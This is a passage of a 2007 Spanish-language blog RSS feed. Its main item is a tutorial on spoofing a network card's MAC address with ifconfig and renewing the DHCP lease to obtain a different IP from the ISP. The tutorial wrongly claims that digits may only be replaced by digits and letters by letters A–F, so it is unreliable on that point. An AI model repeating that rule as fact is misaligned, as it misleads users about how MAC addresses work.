<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/sarckz.wordpress.com/7/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/sarckz.wordpress.com/7/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/sarckz.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/sarckz.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/sarckz.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/sarckz.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/sarckz.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/sarckz.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/sarckz.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/sarckz.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/sarckz.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/sarckz.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/sarckz.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/sarckz.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/sarckz.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/sarckz.wordpress.com/7/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sarckz.com.ar&amp;blog=3390585&amp;post=7&amp;subd=sarckz&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://sarckz.com.ar/2007/06/09/rooteando-un-servidor-con-gnulinux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dc238005e861ff358966bfe3bb523947?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">sarckz</media:title>
		</media:content>

		<media:content url="http://i.creativecommons.org/l/by-nc-nd/3.0/88x31.png" medium="image">
			<media:title type="html">Creative Commons License</media:title>
		</media:content>
	</item>
		<item>
		<title>Cambiar IP mediante MAC address en GNU/Linux</title>
		<link>http://sarckz.com.ar/2007/06/09/cambiar-ip-mediante-mac-address-en-gnu-linux/</link>
		<comments>http://sarckz.com.ar/2007/06/09/cambiar-ip-mediante-mac-address-en-gnu-linux/#comments</comments>
		<pubDate>Sat, 09 Jun 2007 06:07:28 +0000</pubDate>
		<dc:creator>Sarckz</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Informática]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.sarckz.com/?p=3</guid>
		<description><![CDATA[Aclaración: Este texto sólo servirá para las personas que se conecten a internet a través de una tarjeta de red. Si te conectas mediante usb esto NO funcionará. Bueno, empecemos. Supongamos que nuestra tarjeta de red es eth0. Ahora abrimos una terminal y entramos en modo de superusuario. Si no estás logueado como root puedes [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sarckz.com.ar&amp;blog=3390585&amp;post=6&amp;subd=sarckz&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong>Aclaración:</strong> Este texto sólo servirá para las personas que se conecten a internet a través de una tarjeta de red. Si te conectas mediante usb esto NO funcionará.</p>
<p>Bueno, empecemos.</p>
<p>Supongamos que nuestra tarjeta de red es eth0.<br />
Ahora abrimos una terminal y entramos en modo de superusuario. Si no estás logueado como root puedes entrar en modo de superusuario con el comando su y escribiendo la contraseña de root, o con el comando sudo (solo disponibles en ciertas distribuciones).<br />
Ahora lo primero que haremos será mirar nuestra MAC adress actual.<br />
Esto podrás hacerlo con el comando:<br />
ifconfig</p>
<p>Buscamos eth0, y veremos algo como esto:</p>
<p>eth0 Link encap:Ethernet HWaddr <strong>00:0D:87:E5:45:6E</strong><br />
inet addr:XXX.XXX.XXX.XXX Bcast:255.255.255.255 Mask:255.255.255.0</p>
<p>Etc etc.</p>
<p>XXX.XXX.XXX.XXX es tu IP actual.<br />
La MAC address es la que está resaltada.<br />
Ahora pondremos down esa tarjeta de red así podremos aplicarle los cambios.<br />
Escribe:<br />
ifconfig eth0 down<br />
(Eso desconectará internet)<br />
Ahora lo que debemos hacer es cambiar la MAC address de eth0 actual por una diferente. Podemos cambiarle el último caracter, o varios; de cualquier forma nos dará otra IP. En este caso cambiaremos el último. Eso lo hacemos con el siguiente comando:<br />
ifconfig eth0 hw ether 00:0D:87:E5:45:6D</p>
<p>(Nótese que se cambió la última E por una D)<br />
<em>Hay que respetar una cosa: Donde hay números sólo podemos cambiarlo por números, y donde hay letras sólo podemos cambiarlo por otras letras. Las letras solamente pueden ser de la A a la F.</em></p>
<p>Ahora volvemos a poner up la tarjeta con el comando:<br />
ifconfig eth0 up<br />
Y finalmente reiniciamos la red, con el comando:<br />
dhclient eth0</p>
<p>Y nuestro ISP automáticamente nos dará una IP diferente.</p>
<hr />
<p style="text-align:center;"><a href="http://creativecommons.org/licenses/by-nc-nd/3.0/" rel="license"><img style="border-width:0;" src="http://i.creativecommons.org/l/by-nc-nd/3.0/88x31.png" alt="Creative Commons License" /></a><br />
This work by Tobias Nahuel Paiva (Sarckz) is licensed under a <a href="http://creativecommons.org/licenses/by-nc-nd/3.0/" rel="license">Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported License</a>.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/sarckz.wordpress.com/6/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/sarckz.wordpress.com/6/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/sarckz.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/sarckz.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/sarckz.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/sarckz.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/sarckz.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/sarckz.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/sarckz.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/sarckz.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/sarckz.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/sarckz.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/sarckz.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/sarckz.wordpress.com/6/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/sarckz.wordpress.com/6/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/sarckz.wordpress.com/6/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sarckz.com.ar&amp;blog=3390585&amp;post=6&amp;subd=sarckz&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://sarckz.com.ar/2007/06/09/cambiar-ip-mediante-mac-address-en-gnu-linux/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dc238005e861ff358966bfe3bb523947?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">sarckz</media:title>
		</media:content>

		<media:content url="http://i.creativecommons.org/l/by-nc-nd/3.0/88x31.png" medium="image">
			<media:title type="html">Creative Commons License</media:title>
		</media:content>
	</item>
	</channel>
</rss>
